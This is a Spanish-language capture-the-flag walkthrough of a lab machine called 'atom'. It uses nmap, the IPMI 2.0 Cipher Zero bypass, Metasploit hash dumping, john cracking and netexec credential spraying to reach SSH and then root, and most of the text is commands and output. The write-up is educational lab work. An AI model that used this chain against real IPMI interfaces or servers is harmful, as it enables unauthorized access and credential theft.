Enumeramos puertos TCP (solo SSH):
❯ nmap -sCV -p 22 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 19:45 -04
Nmap scan report for 192.168.1.28
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelComo apenas hay superficie TCP, escaneamos UDP y encontramos IPMI (623/udp):
❯ sudo nmap -sU --top-ports 100 -oN 03-udp.txt 192.168.1.28
...
PORT STATE SERVICE
623/udp open asf-rmcp
...Siguiendo la metodología de IPMI, comprobamos que es vulnerable a Cipher Zero (bypass de autenticación):
❯ sudo nmap -sU --script ipmi-cipher-zero -p 623 192.168.1.28
...
| ipmi-cipher-zero:
| VULNERABLE:
| IPMI 2.0 RAKP Cipher Zero Authentication Bypass
| State: VULNERABLE
...Con Metasploit dumpeamos los hashes RAKP (que también permite crackearlos contra rockyou):
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 192.168.1.28
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set pass_file /home/wh01s17/Documents/wordlists/rockyou.txt
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 192.168.1.28:623 - IPMI - Hash for user 'admin' matches password 'cukorborso'Con admin:cukorborso listamos los usuarios IPMI y volcamos sus hashes, que crackeamos con john (formato rakp):
❯ ipmitool -I lanplus -H 192.168.1.28 -U 'admin' -P 'cukorborso' user list
...
❯ john --fork=8 --incremental:alpha --format=rakp hashes.txt
...
jiggaman (192.168.1.28 onida)
...Probamos las credenciales contra SSH con netexec:
❯ netexec ssh 192.168.1.28 -u users.txt -p passwds.txt --no-bruteforce
...
SSH 192.168.1.28 22 192.168.1.28 [+] onida:jiggaman Linux - Shell access!
...
❯ ssh onida@192.168.1.28
onida@192.168.1.28's password: jiggaman
onida@atom:~$Obtenemos la primera flag. En /var/www/html hay una base de datos con un hash:
onida@atom:/var/www/html$ cat atom-2400-database.db
...
atom$2y$10$Z1K.4yVakZEY.Qsju3WZzukW/M3fI6BkSohYOiBQqG7pK1F2fH9Cm
...Lo crackeamos con john y la contraseña sirve para root:
❯ john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_atom
...
madison (?)
...
onida@atom:/var/www/html$ su root
Password: madison
root@atom:/var/www/html#Obtenemos nuestra flag.
Fin.